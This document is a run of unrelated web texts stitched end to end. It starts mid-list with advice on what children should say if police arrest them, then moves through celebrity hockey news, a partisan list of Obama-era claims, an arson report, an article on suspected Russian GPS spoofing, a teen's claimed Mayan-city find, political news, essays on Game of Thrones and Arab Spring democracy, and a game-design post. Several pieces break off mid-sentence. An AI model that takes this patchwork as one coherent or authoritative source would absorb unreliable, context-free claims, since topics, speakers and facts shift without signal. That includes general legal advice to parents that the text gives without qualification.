Don’t tell the police you are going to file a complaint.
Do not make any statement regarding the incident at all.
Remember the police officer’s name, badge number, and patrol car number.
Write down everything you remember about the contact with the police ASAP.
Try to find witnesses and get their names and numbers.
If your child is injured by the police, seek medical attention ASAP and have them take pictures.
Take pictures yourself of any injuries your child sustains in the arrest.
If you feel your child’s rights have been violated, file a written complaint with the police department’s internal affairs division or civilian complaint board as soon as possible.
Your child does not have to consent to a search of themselves. Police may pat down the outside of your child’s clothing if they suspect a weapon, but they do not have the right to search further. That’s one of the things those magic 4 words “I want a lawyer” protects your child from.
Your child needs to specifically ask, “Am I under arrest?” – another important 4 words. If your child is under arrest, your child has a right to know why. And the police have to tell them.
If your child is given a ticket while driving, they do have to sign the ticket. It can be fought later.
If your child is taken to the police station, teach your child to remain silent and to speak only to a lawyer. If you don’t have a family lawyer, teach your child to ask for one – they have the right to a free one and the police have to tell them how to get one.
Don’t talk to the police even at the station – use those 4 word sentences: “I want a Lawyer” and “Am I under arrest?”.
I hope your child is never arrested by the police for such spurious things as bringing a toy to school or scribbling on a desk, but we have proof that schools will call the police over these trivial things and police will follow through and arrest your child instead of telling the school this is an internal school affair and not a police matter.
If your child knows what to do, the trauma is reduced. Not eliminated, but reduced. As parents, it’s our responsibility to teach our children how to survive, and this is unfortunately yet another thing we have to consider.
Briefly:
Under the age of 6: Teach your child to say "I want a lawyer" as soon as they see handcuffs. Include the "zip tie" cuffs as well as the metal cuffs.
Teach your child to put their hands on their head when a police officer talks to them.
Between 6 and 10: Don't run from the police.
Don't argue with the police.
Say, "I want a lawyer."
Don't touch the police officer at all.
Don't gesture towards the police: no finger waving, no flipping the finger, no waving arms, no shaking hands, no speaking in ASL, nothing they can and will interpret as a hostile move.
Don't talk other than giving your name and saying "I want a lawyer": "My name is __ and I want lawyer."
Ask "Am I under arrest?"
Between age 10 and receiving a driver's license: Don’t argue with the police.
Don’t run from the police.
Don’t touch the police officer.
Don't gesture towards the police: no finger waving, no flipping the finger, no spitting, no waving arms, no shaking hands, no speaking in ASL, nothing they can interpret as a hostile move - and that's every movement except the ones they specifically tell you to make.
Don’t talk to the police other than the 2 sentences: "My name is _ and I want a lawyer" and "Am I under arrest?".
Keep your hands where the police can see them.
Do not consent to a search.
Don’t resist the arrest, innocent or not.
Don’t complain to the officer on the scene.
Don’t tell the police they are wrong.
Don’t tell the police you are going to file a complaint.
Do not make any statement regarding the incident at all.
Remember the police officer’s name, badge number, and patrol car number.
Write down everything you remember about the contact with the police ASAP.
Try to find witnesses and get their names and numbers.
At the police station, stay silent except for the 2 sentences until a lawyer is present.
Talk only to the lawyer.
"We all rally behind the home team," says Aiken, a native of Raleigh, N.C., where the game will be held. Raleigh got the Carolina Hurricanes, which had been the Hartford Whalers, in 1997, and the team won the Stanley Cup in 2006. "I don't think anybody in Raleigh knew much about hockey until the Hurricanes came to town, but now everybody has learned to love it."
Clay says the entire town is excited to host the game and the surrounding weekend of festivities, which begin Friday.
"We built a brand-new airport [terminal]," he says. "It specifically opened Sunday to be ready for the all-star game. They've put as much energy as they can into this event."
The Canadian Tenors will perform the Canadian national anthem and rock band 3 Doors Down have the first-intermission performance.
Hurricanes center Eric Staal will captain one team, and Nicklas Lidstrom of the Detroit Red Wings will helm the other. "They're going to pick their teams like they do on the playground," Clay says. "We've got two Hurricanes who are all-stars, Eric and one of our goalies, Cam Ward. And Eric Staal's brother Marc is an all-star, so I imagine he'll pick him."
Also, Clay will start his Tried & True Tour Feb. 10 in Miami.
"I like being relatively laid-back and casual," he says. "I don't put too much production into it, especially this time. This is Moon River, Unchained Melody and What Kind of Fool Am I. These songs don't need a lot of flashy light stuff. I like to come out and sing the songs, and I like talking to the audience."
Most of Clay's set will focus on tunes from his recent albums of standards, but he says he has a few surprises up his sleeve.
"Most of these songs are big-band types songs," he says. "I think we're going to do a medley of songs that are on the radio today, but we're going to do them in a big-band style."
Such as? Lady Gaga's Poker Face is on the short list. So is Kenny Chesney's She Thinks My Tractor's Sexy.
One of many, many infuriating parts of having Trump as the President is the insufferable smugness of conservatives. When they’re not telling you to “suck it up, snowflake” or trying to sell you fake news, they’re gloating: “We suffered for eight years under that tyrant Obummer. Now it’s your turn.”
One man, Scott Mednick had enough with his Republican acquaintances and penned this powerful response:
“I am surprised you would wish suffering upon me. That, of course, is your right, I suppose. I do not wish harm on anyone. Your statement seems to continue the ‘US v THEM’ mentality. The election is over. It is important to get past campaigning and campaign rhetoric and get down to what is uniting, not dividing and what is best for ALL Americans.
There will never be a President who does everything to everyone’s liking. There are things President Obama (and President Clinton) did that I do not like and conversely there are things I can point to that the Presidents Bush did that I agree with. So I am not 100% in lock step with the outgoing President but have supported him and the overall job he did.
And, if you recall, during the Presidential Campaign back in 2008 the campaign was halted because of the “historic crisis in our financial system.” Wall Street bailout negotiations intervened in the election process. The very sobering reality was that there likely could be a Depression and the world financial markets could collapse. The United States was losing 800,000 jobs a month and was poised to lose at least 10 million jobs the first year once the new President took office. We were in an economic freefall. So let us recall that ALL of America was suffering terribly at the beginning of Obama’s Presidency.
But I wanted to look back over the last 8 years and ask you a few questions. Since much of the rhetoric before Obama was elected was that he would impose Sharia Law, Take Away Your Guns, Create Death Panels, Destroy the Economy, Impose Socialism and, since you will agree that NONE of this came to pass, I was wondering: Why have you suffered so?
So let me ask: Gays and Lesbians can now marry and enjoy the benefits they had been deprived of. Has this caused your suffering?
When Obama took office, the Dow was 6,626. Now it is 19,875. Has this caused your suffering?
We had 82 straight months of private sector job growth – the longest streak in the history of the United States. Has this caused your suffering?
Especially considering where the economy was when he took over, an amazing 11.3 million new jobs were created under President Obama (far more than President Bush). Has this caused your suffering?
Obama has taken Unemployment from 10% down to 4.7%. Has this caused your suffering?
Homelessness among US Veterans has dropped by half. Has this caused your suffering?
Obama shut down the US secret overseas prisons. Has this caused your suffering?
President Obama has created a policy for the families of fallen soldiers to have their travel paid for to be there when remains are flown home. Has this caused your suffering?
We landed a rover on Mars. Has this caused your suffering?
He passed the Matthew Shepard Hate Crimes Prevention Act. Has this caused your suffering?
Uninsured adults has decreased to below 10%: 90% of adults are insured – an increase of 20 Million Adults. Has this caused your suffering?
People are now covered for pre-existing conditions. Has this caused your suffering?
Insurance Premiums increased an average of $4,677 from 2002-2008, an increase of 58% under Bush. The growth of these insurance premiums has gone up $4,145 – a slower rate of increase. Has this caused your suffering?
Obama added Billions of dollars to mental health care for our Veterans. Has this caused your suffering?
Consumer confidence has gone from 37.7 to 98.1 during Obama’s tenure. Has this caused your suffering?
He passed the Lilly Ledbetter Fair Pay Act. Has this caused your suffering?
His bi-annual Nuclear Summit convinced 16 countries to give up and destroy all their loose nuclear material so it could not be stolen. Has this caused your suffering?
He saved the US Auto industry. American cars sold at the beginning of his term were 10.4M and upon his exit 17.5M. Has this caused your suffering?
The deficit as a percentage of the GDP has gone from 9.8% to 3.2%. Has this caused your suffering?
The deficit itself was cut by $800 Billion Dollars. Has this caused your suffering?
Obama preserved the middle class tax cuts. Has this caused your suffering?
Obama banned solitary confinement for juveniles in federal prisons. Has this caused your suffering?
He signed Credit Card reform so that rates could not be raised without you being notified. Has this caused your suffering?
He outlawed Government contractors from discriminating against LGBT persons. Has this caused your suffering?
He doubled Pell Grants. Has this caused your suffering?
Abortion is down. Has this caused your suffering?
Violent crime is down. Has this caused your suffering?
He overturned the scientific ban on stem cell research. Has this caused your suffering?
He protected Net Neutrality. Has this caused your suffering?
Obamacare has extended the life of the Medicare insurance trust fund (will be solvent until 2030). Has this caused your suffering?
President Obama repealed Don’t Ask Don’t Tell. Has this caused your suffering?
He banned torture. Has this caused your suffering?
He negotiated with Syria to give up its chemical weapons and they were destroyed. Has this caused your suffering?
Solar and Wind Power are at an all time high. Has this caused your suffering?
High School Graduation rates hit 83% – an all time high. Has this caused your suffering?
Corporate profits are up by 144%. Has this caused your suffering?
He normalized relations with Cuba. Has this caused your suffering?
Reliance on foreign oil is at a 40 year low. Has this caused your suffering?
US Exports are up 28%. Has this caused your suffering?
He appointed the most diverse cabinet ever. Has this caused your suffering?
He reduced the number of troops in both Iraq and Afghanistan. Has this caused your suffering?
Yes, he killed Osama Bin Laden and retrieved all the documents in his possession for analysis. Perhaps THIS caused your suffering?
From an objective standpoint it would appear that the last eight years have seen some great progress and we were saved from a financial collapse. Things are not perfect. Things can always be better. We are on much better footing now than we were in 2008.
I look forward to understanding what caused you to suffer so much under Obama these last eight years.”
Copy & paste to share. I hope you will.
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Firefighters were called about 6 a.m. Tuesday to the bridge in the 300 block of West Wilbeth Road, according to a Summit Metro Parks spokeswoman.
Akron firefighters extinguished the blaze. Arson investigators found an accelerant on the bridge, leading investigators to believe someone intentionally set the fire.
They also found a burned propane tank near the bridge.
Officials haven't yet determined how much it will cost to replace the bridge. The bridge will remain closed until it's repaired, officials said.
Firefighters and Metro Parks rangers are investigating a link between that fire and another fire early Tuesday on Wilbeth Road.
Someone set a utility police on fire with propane about an hour before, the spokesperson said. It was not on Metro Parks property.
Investigators do not have a suspect.
Anyone with information about the fire is being asked to call the Summit Metro Park Rangers at 330-867-5511
While this initially appeared to be a glitch, experts now suggest that Russia may have been testing a new system for spoofing GPS.
If this is the case, it could be a worrying first step towards electronic warfare in which movements can't be traced.
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On June 22, the US Maritime Administration filed a bizarre report, in which at least 20 Russian ships appeared on trackers to be in the same spot 20 miles (32 kilometres) inland, despite being at various positions in the Black Sea. While this initially appeared to be a glitch, experts now suggest that Russia may have been testing a new system for spoofing GPS (stock image)
WHAT IS GPS SPOOFING? A GPS spoofing attack involves broadcasting incorrect GPS signals to trick a GPS receiver. The fake signals cause the receiver to estimate its position to be somewhere other than where it actually is, as determined by the attacker. And while early versions were technically very difficult to create, experts say that more modern versions could easily be built with commercial hardware and software easily accessible online. The amount of power needed for GPS spoofing is also not very high, and Dr Humphreys predicts that a transmitter would need just one-watt of power for spoofing.
The report was filed by the US Maritime Administration after the master of a ship off the coast of Russia discovered that his GPS had put him in the wrong spot.
And after contacting other ships nearby, the captain discovered that the same issue had affected at least 30 other ships.
Speaking to New Scientist, experts have said that they think the incident is the first documented use of GPS misdirection.
Previous studies have suggested that the biggest threat to GPS is jamming, in which the satellite signal is masked with noise.
But while this can be an issue, it is very easy to detect – unlike spoofing.
David Last, former president of the UK's Royal Institute of Navigation told New Scientist: 'Jamming just causes the receiver to die, spoofing causes the receiver to lie.'
Other experts have been warning of such a threat for years.
In 2013, Dr Tod Humphreys, an associate professor in robotics at the University of Texas at Austin showed that a yacht could be lured off-course by GPS spoofing.
Dr Humphreys said: 'The receiver's behaviour in the Black Sea incident was much like during the controlled attacks my team conducted.'
Dr Humphreys suggests that Russia has been testing out a new form of electronic warfare.
Since 2016, phone apps, including Pokemon Go, have been mysteriously redirecting users from the Kremlin (pictured) to Vnukovo Airport, 20 miles (32 kilometres away)
HOW COULD GPS SPOOFING BE USED? As GPS spoofing systems become easier to make, Dr Humphreys highlights that any hacker could make their own version. This could allow hackers to carry out a range of dangerous tasks, including diverting driverless cars or drones, or even hijacking ships. The biggest threat, however, is GPS spoofing in the hands of a state operator, according to Dr Humphreys. He said: 'It affects safety-of-life operations over a large area. 'In congested waters with poor weather, such as the English Channel, it would likely cause great confusion, and probably collisions. 'My gut feeling is that this is a test of a system which will be used in anger at some other time.'
Since 2016, phone apps, including Pokemon Go, have been mysteriously redirecting users from the Kremlin to Vnukovo Airport, 20 miles (32 kilometres away).
And it seems that GPS spoofing has now extended beyond the Kremlin.
While Dr Humphreys' GPS spoofing system was technically very difficult to create, he says that more modern versions could easily be built with commercial hardware and software easily accessible online.
The amount of power needed for GPS spoofing is also not very high, and Dr Humphreys predicts that a transmitter would need just one-watt of power.
And as GPS spoofing systems become easier to make, Dr Humphreys highlights that any hacker could make their own version.
This could allow hackers to carry out a range of dangerous tasks, including diverting driverless cars or drones, or even hijacking ships.
The biggest threat, however, is GPS spoofing in the hands of a state operator, according to Dr Humphreys.
He said: 'It affects safety-of-life operations over a large area. In congested waters with poor weather, such as the English Channel, it would likely cause great confusion, and probably collisions.
Image via: www.journaldemontreal.com
A Passionate Mayan for several years, he analyzed 22 Mayan constellations and realized that if he connected on a map the stars of the constellations, the shape of each one corresponded to position 117 Mayan cities. No scientist had ever found such a correlation between the stars and the location of the Mayan cities.
The genius of William, however, was to analyze a 23rd constellation. It contained three stars and only two cities matched on the card. According to his theory, so it should be a 118th Mayan city in a remote and inaccessible location in the Yucatan Peninsula, Mexico.
Analyses from satellites in different space agencies have revealed that there was indeed a pyramid and thirty buildings at the precise location identified by the young man. The Journal had access to satellite images which we see different structures of what may be an ancient city. “Geometric shapes, such as squares or rectangles, appeared on these images, forms that can hardly be attributed to natural phenomena,” says remote sensing specialist at the University of New Brunswick, Dr. Armand LaRocque. Not only he would have discovered a new Mayan city, but it would be one of the five largest. “Since Dr. LaRocque told me in January, we distinguish a pyramid and thirty structures, it was extraordinary,” said the young man. He named the lost city K’ÀAK ‘CHI’ or ‘fire mouth “in French.
Image via: www.journaldemontreal.com
William Gadoury was interested in the Maya civilization after the publication about the Mayan calendar announcing the end of the world in 2012. Teen found 22 constellations in a Maya Codex Madrid. By connecting the stars of the constellations to create forms and applying transparencies with the constellations on a Google Earth map, he found that this corresponds to the Maya cities of the Yucatan Peninsula. In all, 142 stars to 117 correspond Mayan cities. The brightest stars are the largest cities. In addition, the method used by William works with Aztec civilizations, the Incas and Harappa in Asia.
Former Senate aide Doug Hampton has been indicted on charges that he violated conflict of interest laws — over allegations that he contacted his former boss, Sen. John Ensign (R-Nev.), in violation of the chamber’s “revolving door” rules — the Justice Department announced Thursday.
A federal jury charged Hampton, who served as Ensign’s administrative assistant before leaving Capitol Hill in 2008, with seven counts of violating federal laws. He is scheduled to be arraigned March 31 in the U.S. District Court for the District of Columbia.
An attorney for Hampton declined to comment Thursday.
Ensign acknowledged in 2009 that he had an affair with Hampton’s spouse, Cynthia Hampton, who was a campaign aide.
Doug Hampton has said that Ensign helped him to find lobbying clients after he left the Senator’s office. However, the indictment does not name Ensign, and the Nevada lawmaker’s attorney announced in December that the Justice Department had declined to pursue allegations against Ensign.
According to the Justice Department, Hampton is charged with violating rules that prohibit top Senate aides from lobbying for one year after leaving their post. After quitting Ensign’s office, Hampton became a consultant to two Las Vegas-based companies.
“According to the indictment, between May 1, 2008, and May 1, 2009, while he was subject to The Honest Leadership and Open Government Act’s one-year restriction, Hampton knowingly and willfully made, with the intent to influence, communications to staff members of the U.S. senator on behalf of the Las Vegas airline company and energy company, seeking action by the senator and the staff members in their official capacities,” the Justice Department statement said.
If found guilty, Hampton could face up to five years in prison and a fine of up to $250,000 for each count.
The indictment added that Hampton certified that he had completed ethics training in the Senate, which included information on the one-year ban.
Ensign has faced allegations that he tried to cover up his affair with Cynthia Hampton, and he continues to be the subject of a Senate Ethics Committee investigation. The committee, which began the probe in fall 2009, announced in February that it had hired a special counsel to take over the case.
The Federal Election Commission voted in late 2010 to dismiss a complaint alleging that Ensign violated campaign finance rules over a $96,000 gift that his parents provided to the Hamptons.
Two weeks ago, the fandom of HBO's Game of Thrones went ballistic when their precious Sansa Stark (played brilliantly by Sophie Turner) fell victim to a sexual assault after marrying the psychotic Ramsay Bolton on the show. Critics were outraged that a character that had been through so much torture in the past four seasons and now was finally managing herself as a player not a pawn in the plot, was brutalized even more.
Throughout the season, Sansa had been positioned as a strong woman who would no longer stand by while terrible things happened to her and her family, and critics saw this assault as a washing away of all character development that had been laid out for her in previous episodes.
Particularly, news outlets were outraged by the scene. Most notably, TheMarySue decided to halt their Game of Thrones coverage after the episode aired stating, "The show has creators. They make the choices. They chose to use rape as a plot device. Again." And although this criticism is valuable, for every character that is harmed on television, there are at least hundreds of real-life people who suffer similar fates. It seems small-scale to be furious about Sansa Stark's assault when women and men all over the world have suffered similar fates without nearly the same outspoken rage.
Every 107 seconds there is a new victim of sexual assault in the United States alone, adding up to around 293,000 new assault victims each year. And these results only include statistics of people who come forward with their assault. Many are too terrified of the backlash they will receive for telling the truth; many are afraid the police will not help them and their accused attacker will go free, seeing as 98% of them never spend a day in jail.
Most recently, Emma Sulkowicz, a Columbia senior, carried out a piece of performance art entitled "Carry that weight." Throughout her final year at college she carried the mattress she was assaulted on around the campus, to her classes and even walked along stage to receive her diploma with it. She vowed to carry the burden of this traumatic event until the school took actions to expel her alleged assaulter; she wanted to highlight the deep and lasting burden sexual assaults have on their victims. Strangely, reactions were mixed to theSulkowicz experiment. Some applauded her bravery while others tore her down for being exploitive.
Similarly, at my alma mater, Florida State University, a student came forward claiming that famed quarterback Jameis Winston had sexually assaulted her on December 7, 2012. The case spread like wildfire, many of the people who weighed in were split. Half believing the victim, the other half calling her a `slut' and accusing her of trying to throw the NCAA championship that year defaming Winston.
However, in the case of Sansa Stark people seem fairly unanimous in their outrage. Perhaps it is the fact that they've watched this character grow up on screen for four years, but perhaps the rage stems from how visceral the depiction of sexual assault in the media is. It's one thing to deny someone's pain, it's another to witness it with your own eyes.
The author of the Game of Thronesbook series, George R.R. Martin, has been candid with the differences between his books and the HBO show posting to his blog after the controversial episode: "There have been differences between the novels and the television show since the first episode of season one," he wrote. "And for just as long, I have been talking about the butterfly effect. Small changes lead to larger changes lead to huge changes." Martin has been candid about his depiction of a world in wartime, explaining that pillaging and sexual assault are the realities of war. The scenes in question depicted in the series are gruesome and terrible, as are the ones shown on television, but the outrage seems colossal in the face of real assaults that don't star Hollywood actresses on a film set.
The crux of the problem is that we allow media to be the outlet for our outrage. We allow television show plots to move along social issue discussions with little regard to the actual casualties of these topics. For example, when a character comes out and is bullied on television, hundreds of think-pieces are birthed about the state of current bullying in public schools. However, it is only after that media motivation do we remember that children are bullied every single day.
When we talk about Sansa, we're touching on misogyny in culture. We are discussing brutalization of women in film and how they're exploited for audiences. All of these are valid and important conversations to have, but if we could only channel that blind rage to focus on the real people who are sexually assaulted then we could see real change occurring.
If we were able to approach this scene in Game of Thrones this vehemently, then one should be able to argue that this sort of anger should be applied to real life events. If every moment on television is birthed in order to spark discussion and change, thenGame of Thronesshould be pushing the cases of countless real women and men into the public consciousness.
FILE - In this Nov. 4, 2016, file photo, Donald Trump Jr. campaigns for his father Republican presidential candidate Donald Trump in Gilbert, Ariz. Trump has retained a New York-based lawyer to represent him. Alan Futerfas confirmed in an email to The Associated Press on July 10, 2017, that he's the lawyer for Donald Trump Jr., who has acknowledged meeting during the presidential campaign with a Russian lawyer whom he thought might have negative information on Hillary Clinton.(AP Photo/Matt York, File)
WASHINGTON (AP) — The Latest on the probes into possible collusion between the Trump campaign and Russia (all times local):
9:40 p.m.
A new report says the man who set up a meeting last year for a Russian lawyer to give Donald Trump Jr. potentially damaging material about Hillary Clinton indicated in an email to Trump Jr. that the Russian government was the source of the information.
The New York Times report Monday cited three unnamed people with knowledge of the email from music publicist Rob Goldstone.
Goldstone spoke to The Associated Press earlier Monday to confirm he set up the meeting on behalf of his client, a Russian singer. Goldstone said the Russian lawyer, Natalia Veselnitskaya, stated she had information about purported illegal campaign contributions to the Democratic National Committee that she thought Trump Jr. might find helpful.
Trump Jr. has acknowledged taking the meeting to learn damaging information about Clinton. But this would be the first public word he had been made aware the material could have been emanating from the Kremlin.
5:15 p.m.
The Senate Intelligence Committee’s top Democrat says he “absolutely” wants to hear from President Donald Trump’s eldest son about a meeting he had last year with a Russian lawyer to hear information about Democratic presidential candidate Hillary Clinton.
Virginia Sen. Mark Warner says, “This is the first time that the public has seen clear evidence of senior-level members of the Trump campaign meeting with Russians” to obtain information damaging to Clinton.
Warner wouldn’t say if he already knew about Donald Trump Jr.’s meeting as part of his panel’s investigation into Russian meddling in the 2016 election.
Warner says the revelations “move us forward, and we expect much more to come.”
Trump Jr. tweeted Monday that he’s “happy to work with the committee to pass on what I know.”
4:35 p.m.
The eldest son of President Donald Trump has retained a New York-based lawyer to represent him.
Alan Futerfas confirmed in an email to The Associated Press on Monday that he’s the lawyer for Donald Trump Jr., who has acknowledged meeting during the presidential campaign with a Russian lawyer whom he thought might have negative information on Hillary Clinton.
Congressional committees and Special Counsel Robert Mueller are investigating whether Russia coordinated with Trump campaign associates to sway the presidential election. Trump Jr. said Monday on Twitter that he was “happy to work with the committee to pass on what I know.”
The president has his own legal team. His son-in-law, Jared Kushner, and Vice President Mike Pence are also among those with lawyers.
4:25 p.m.
A close friend of FBI Director James Comey is disputing a tweet from President Donald Trump that accuses Comey of having leaked classified information to the media.
Columbia University law professor Daniel Richman says the one memo whose substance was revealed to news organizations in May was not classified.
That memo described a February meeting in which Comey says Trump asked him to end an FBI investigation into former national security adviser Michael Flynn.
Comey has testified that he authorized Richman to disclose details of that memo to The New York Times. Richman told The Associated Press on Monday that it was not classified.
Trump’s tweet, which referenced a “Fox & Friends” tweet, followed an article in The Hill newspaper suggesting that some memos Comey wrote contained classified information.
3:35 p.m.
The White House says sanctions related to Russian election meddling were discussed in the meeting between President Donald Trump and Russian President Vladimir Putin last week.
The statement from the White House on Monday is a direct contradiction to comments tweeted by Trump a day earlier.
White House spokeswoman Sarah Huckabee Sanders told reporters Monday that “sanctions specific to election meddling were discussed” in Friday’s meeting with Putin.
Trump tweeted on Sunday: “Sanctions were not discussed at my meeting with President Putin. Nothing will be done until the Ukrainian & Syrian problems are solved!”
The White House did not immediately respond to a request for clarity.
3 p.m.
President Donald Trump’s eldest son says he’s willing to communicate with the Senate Intelligence committee.
Donald Trump Jr. tweeted Monday that he’s “happy to work with the committee to pass on what I know” after a senior Republican on the panel said he should be interviewed. Maine Sen. Susan Collins said the committee should talk to Trump’s son about a meeting he and other Trump associates had last year with a Russian lawyer to hear information about Democratic presidential candidate Hillary Clinton.
Trump’s son-in-law Jared Kushner and then-campaign chairman Paul Manafort accompanied Donald Trump Jr. to the Trump Tower meeting with Kremlin-linked lawyer Natalia Veselnitskaya.
Trump Jr. said he was told the person he was to meet with might have information that would be “helpful” to the Trump campaign.
12:05 p.m.
A music publicist says he set up a meeting between a Russian lawyer and Donald Trump’s eldest son on behalf of a client in Moscow named Emin Agalarov.
In a statement to The Associated Press on Monday, Rob Goldstone says the lawyer said she had information about purported illegal campaign contributions to the Democratic National Committee that she thought Donald Trump Jr. might find helpful.
Goldstone says Trump Jr. agreed to squeeze the meeting into a tight schedule.
Trump appeared in a music video with Agalarov in 2013. The video was filmed while Trump was in Russia for the Miss Universe pageant.
11:40 a.m.
A senior Republican on the Senate Intelligence committee says the panel should interview President Donald Trump’s eldest son about a meeting he and other Trump associates had last year with a Russian lawyer to hear information about former Secretary of State Hillary Clinton.
Sen. Susan Collins of Maine told reporters on Monday that “our intelligence committee needs to interview him and others who attended the meeting” as part of the panel’s probe into Russian interference in last year’s election and possible collusion between Russian officials and the Trump campaign.
Trump’s son-in-law Jared Kushner and then-campaign chairman Paul Manafort accompanied Donald Trump Jr. to the Trump Tower meeting with Kremlin-linked lawyer Natalia Veselnitskaya.
Donald Trump Jr. said he was told the person he was to meet with might have information that would be “helpful” to the Trump campaign.
11 a.m.
President Donald Trump’s eldest son is appearing to acknowledge that he took a meeting with a Russian lawyer during the 2016 presidential campaign to hear information about former Secretary of State Hillary Clinton.
Donald Trump Jr. says on Twitter that the meeting “went nowhere but had to listen.” He also downplayed the Trump Tower meeting, noting in a tongue-in-cheek fashion that it’s common for members of campaigns to seek damaging information about opposing candidates.
Trump Jr.’s tweet is the latest shift in his explanation of the meeting first reported by The New York Times. Trump Jr. initially said the meeting focused on a disbanded Russian adoption program. A day later, he acknowledged he took the meeting because he was told the attorney might have information “helpful” to the Trump campaign.
7:55 a.m.
The spokesman for Russian President Vladimir Putin says the Kremlin is unaware of a meeting between Donald Trump’s senior staff and a Russian lawyer during the 2016 campaign where the Russian reportedly said she had information about Hillary Clinton.
President Donald Trump’s eldest son changed his account of the meeting he had with a Russian lawyer during the 2016 campaign over the weekend, saying Sunday that Natalia Veselnitskaya told him she had information about Clinton. A statement from Donald Trump Jr. one day earlier made no mention of Clinton.
Asked about the reports, Putin’s spokesman Dmitry Peskov said on Monday the Kremlin does not know who the lawyer is and added that the Kremlin “cannot keep track” of every Russian lawyer and their meetings in Russia or abroad.
4:25 a.m.
President Donald Trump’s eldest son changed his account over the weekend of a meeting he had with a Russian lawyer during the 2016 campaign, saying Sunday that the woman told him she had information about Democrat Hillary Clinton.
A statement from Donald Trump Jr. one day earlier made no mention of Clinton. In his initial depiction of the meeting last June, the president’s son said the discussion focused on a disbanded program that used to allow American adoptions of Russian children.
ideas in the mind at the same time, and still retain the ability to function.”
F. Scott Fitzgerald, “The Crack-Up,” Esquire, February 1936
Serial has become gut-wrenching to me, in the way that every good novel I’ve ever read feels like it’s re-organizing my thinking with fire. It is instructive, artful, and intricately organized. It is also a painful path to walk, but the million-odd folks who are listening to it together are embracing that complex ambivalence. Most of us know by now that there will be no smoking gun or creaking prison door swinging open. However Serial ends, it leaves a wake of pain. Whether Adnan is innocent or guilty, two horrible things have happened: the lives of two potentially vibrant, intelligent, kind people were lost. Their families grieve them.
Grassley begins:
“The New York Times recently reported that the FBI had found a troubling email among the ones the Russians hacked from Democrat operatives. The email reportedly provided assurances that Attorney General Lynch would protect Secretary Clinton by making sure the FBI investigation, quote-un-quote: ‘didn’t go too far’. How and when did you first learn of this document, also who sent it and who received it?”
Comey replies:
“That’s not a question I can answer in this forum, Mr. Chairman, ‘cause it would call for a classified response. I have briefed leadership of the intelligence committees on that particular issue, but I can’t talk about it here.”
Grassley:
“You can expect me to follow up on that point . . . What steps did the FBI take to determine whether Attorney General Lynch had actually given assurances that the political fix was in, no matter what? Did the FBI interview the person who wrote the email? If not, why not?”
Comey:
There’s a common refrain we’ve heard throughout the Arab Spring: be careful what you wish for. Skeptics claim the establishment of democracies in the Middle East might be worse for the United States and others than the status quo. They often point to Hamas’ takeover of Gaza, or fears that the Muslim Brotherhood will establish a theocratic state in Egypt. But these criticisms overlook an important point: one democratic vote doesn’t make a country a democracy.
While new democracies in the Middle East shouldn’t be mirror images of the United States, they must possess the basic requirements of a truly democratic state. Stanford University scholar Larry Diamond has formulated an essential list of these, including: freedom of speech, freedom of the press, freedom of religion, respect and protection for minorities, ongoing free and open elections, rule of law, and an independent judiciary.
Hamas’ Gaza Strip is therefore not a democracy. And if the Muslim Brotherhood establishes an authoritarian government in Egypt, it won’t be a democracy either. In a truly democratic Egypt, the Muslim Brotherhood would be one political party that competes fairly in elections and respects freedom of speech, religion, and belief.
This is why many of the fears about a democratic Egypt under the Muslim Brotherhood are misguided. Pundits constantly warn about an Egypt that would be governed by fundamentalist Islamic law, would trample on the rights of minorities, women, and Christians, and would stifle any dissenting views. But these are not fears of a democratic state governed by the Muslim Brotherhood. They are fears of a theocratic autocracy masquerading as a democracy.
Unfortunately, recent developments make a truly democratic Egypt seem at best far-off and at worst a pipe dream. But there’s a more hopeful democratic transition playing out in Burma.
Burma’s military junta has relinquished some power, and the country has held elections, opened its economy, and rescinded some restrictions on free speech and expression. Aung San Suu Kyi, who was recently allowed to travel to Europe and claim her 1991 Nobel Prize, has praised the democratic transition, while calling for vigilance to ensure that it continues.
We can all sleep easy, though; megalodon lived 25 to 1.5 million years ago and is long gone from today's oceans.
Megalodon was the world's largest shark, growing to 60 or 70 feet in length and 77 tons in weight. It roamed warm oceans (fossils have been found all over the world) eating around 2,500 pounds of food each day, scientists have estimated, including fish and whales. One 2008 study calculated that this giant shark had a bite force of 12 to 20 tons, about 6 to 10 times that of modern great whites.
What led to their demise? Scientists aren't sure, but the chief suspect is shrinking habitat. When this shark lived, the world was forming into the one we now recognize—the Himalayas and Rockies were growing, the Isthmus of Panama rose from the sea to separate the Atlantic and Pacific, then massive glaciation locked much of the world's water in ice. Everything was changing for the big sharks, possibly including what they ate and where they raised their kids, and they just couldn't survive in the new world.
Personalizing Choices:
Let’s start with soft choices as they are the ones that are easily designed and fit into games. For this post we’re going to define them as the following:
Soft Choice: A decision that impacts the player’s experience but doesn’t impact the flow of the game or story.
Soft Choices are ways for the player to imprint some of their preferences onto the game. This could be as simple as deciding what color to make their armor to deciding their class in a RPG. I know that some of you reading this are about to comment that choosing a class in a RPG is a big deal to the player, however whether you’re playing as a warrior, thief or mage doesn’t change the level design or what’s going on with rare exceptions.
Soft Choices are great for a game developer as they can give the illusion of choice to the player without having to redesign or alter the game because of it. And the player has the benefit of being able to personalize their experience to some extent which can be a great way to get them invested in the game.
Soft choices can also impact the plot but on a small scale. Perhaps a character or detail will be different in major scenes or the flow of the story will slightly change depending on the soft choice to a certain extent before returning back to the main plot.
A major example of this would be in the storytelling that is happening at Telltale Games with their recent titles. Within each episode of a season, the player is free to choose how the character reacts to a situation; their reaction has no impact on the overall plot but gives the player a chance to have some input in the story.
The problem with soft choices is that they can be seen as a cheat by the game developer in a sense of boasting that the player can choose how the game plays out.
Soft choices only offer minor impacts on the overall plot at best and it’s like the difference between angrily breaking open a door or kicking a door open in frustration.
One example would be Deus Ex Human Revolution that boasted about how the player could control the story through their choices. However all the choices the player made meant nothing when it came to advancing the plot or even affecting what came next. The first area alluded to the player’s actions affecting how people and events would look at them, but this quickly went away. The only choice the player had that affected the plot was the end where they had to literally pick an ending.
Another part of soft choices is the use of a morality slider that is affected by soft choices. This is a case where a bunch of soft choices can eventually turn into a hard choice. However what ends up happening is that you can invalidate your soft choices by performing other choices so that in the end the only thing that is affecting the plot is where the slider is at.
Next, we turn to hard choices and what they mean for a game designer.
Moving Things Along:
For this post we’re going to define hard choices as the following:
Hard Choice: A decision that directly impacts the game’s story or flow while possibly locking other choices from the player.
Hard choices are the ways for the player to actively affect how the game plays out. Going back to the morality slider example, a hard choice is when the game uses the slider to determine what your final path through the game is like.
Hard choices generally are points of no returns that will lock the player to a specific path. This also means the developer will have to write or amend parts of the story based on what the player decides at specific hard choices.
